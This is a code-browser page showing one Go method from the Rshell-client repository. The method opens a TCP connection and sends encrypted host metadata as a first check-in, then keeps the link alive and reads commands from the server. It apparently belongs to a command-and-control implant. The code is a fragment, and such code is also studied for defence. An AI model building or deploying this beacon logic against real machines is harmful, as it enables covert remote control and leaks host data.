MCPcopy Create free account
hub / github.com/Rubby2001/Rshell-client / InitializeClient

Method InitializeClient

Reacon_tcp/main.go:37–81  ·  view source on GitHub ↗

assuming for the sake of example

(host string)

Source from the content-addressed store, hash-verified

35 link.ReportError = communication.ErrorProcess
36 link.ReportData = communication.DataProcess
37}
38
39func (s *TCPClient) InitializeClient(host string) {
40 addr, err := net.ResolveTCPAddr("tcp", host)
41 if err != nil {
42 s.IsConnected = false
43 return
44 }
45
46 conn, err := net.DialTCP("tcp", nil, addr)
47 if err != nil {
48 s.IsConnected = false
49 return
50 }
51 communication.TCPClient = conn
52
53 s.Client = conn
54 if s.Client != nil {
55 s.IsConnected = true
56 s.Buffer = make([]byte, 4)
57 s.MS.Reset()
58
59 if len(utils.MetaInfo) == 0 {
60 utils.MetaInfo, _ = utils.EncryptedMetaInfo()
61 utils.MetaInfo, _ = encrypt.EncodeBase64(utils.MetaInfo)
62 }
63 firstBloodInt := 1
64 firstBloodBytes := utils.WriteInt(firstBloodInt)
65 firstBloodMsg := utils.BytesCombine(firstBloodBytes, utils.MetaInfo)
66 communication.Send(firstBloodMsg, s.Client)
67
68 s.keepAlive = time.NewTicker(8 * time.Second)
69
70 go func() {
71 for range s.keepAlive.C {
72 s.KeepAlivePacket(s.Client)
73 }
74 }()
75
76 go s.ReadServerData()
77 } else {
78 s.IsConnected = false
79 }
80}
81
82func (s *TCPClient) ReadServerData() {
83 if s.Client == nil || !s.IsConnected {
84 s.IsConnected = false

Callers 2

ReconnectMethod · 0.95
Run_mainFunction · 0.95

Calls 2

KeepAlivePacketMethod · 0.95
ReadServerDataMethod · 0.95

Tested by

no test coverage detected